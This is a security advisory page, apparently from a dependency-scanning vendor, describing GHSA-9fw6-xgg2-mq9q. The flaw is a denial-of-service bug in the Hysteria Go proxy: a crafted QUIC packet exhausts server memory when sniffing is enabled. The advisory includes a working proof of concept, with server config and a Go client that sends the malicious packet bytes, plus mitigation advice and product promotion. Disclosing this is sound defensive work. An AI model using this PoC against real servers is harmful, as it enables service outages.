How severe is GHSA-9fw6-xgg2-mq9q?

GHSA-9fw6-xgg2-mq9q has a CVSS score of 8.8/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-9fw6-xgg2-mq9q?

GHSA-9fw6-xgg2-mq9q affects the following packages: github.com/apernet/hysteria/core/v2 (Go). Ecosystems affected: Go.

How do I fix GHSA-9fw6-xgg2-mq9q?

No patched version of github.com/apernet/hysteria/core/v2 has shipped for GHSA-9fw6-xgg2-mq9q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-9fw6-xgg2-mq9q in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria/core/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-9fw6-xgg2-mq9q if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-9fw6-xgg2-mq9q?

O3 pinpoints whether GHSA-9fw6-xgg2-mq9q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-9fw6-xgg2-mq9q actively exploited in the wild?

No public exploit code has been indexed for GHSA-9fw6-xgg2-mq9q yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-9fw6-xgg2-mq9q published, and has it been updated?

GHSA-9fw6-xgg2-mq9q was published on May 5, 2026 and was last updated on May 5, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-9fw6-xgg2-mq9q

HIGH

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

Published

May 5, 2026

Updated

May 5, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Blast Radius

1 pkg affected

🐹github.com/apernet/hysteria/core/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

Impact

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/apernet/hysteria/core/v2`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria/core/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/apernet/hysteria/core/v2 has shipped for GHSA-9fw6-xgg2-mq9q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9fw6-xgg2-mq9q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9fw6-xgg2-mq9q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A specially constructed quic package can crash the server OOM when the sniff is enabled. ### Details When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM. ### PoC ``` openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null ``` server.yaml ``` listen: :8443 tls: cert: localhost.crt key: localhost.key auth: type: password password: mypassword snif

O3 Security · Impact-Aware SCA

Is GHSA-9fw6-xgg2-mq9q in your dependencies?

O3 detects GHSA-9fw6-xgg2-mq9q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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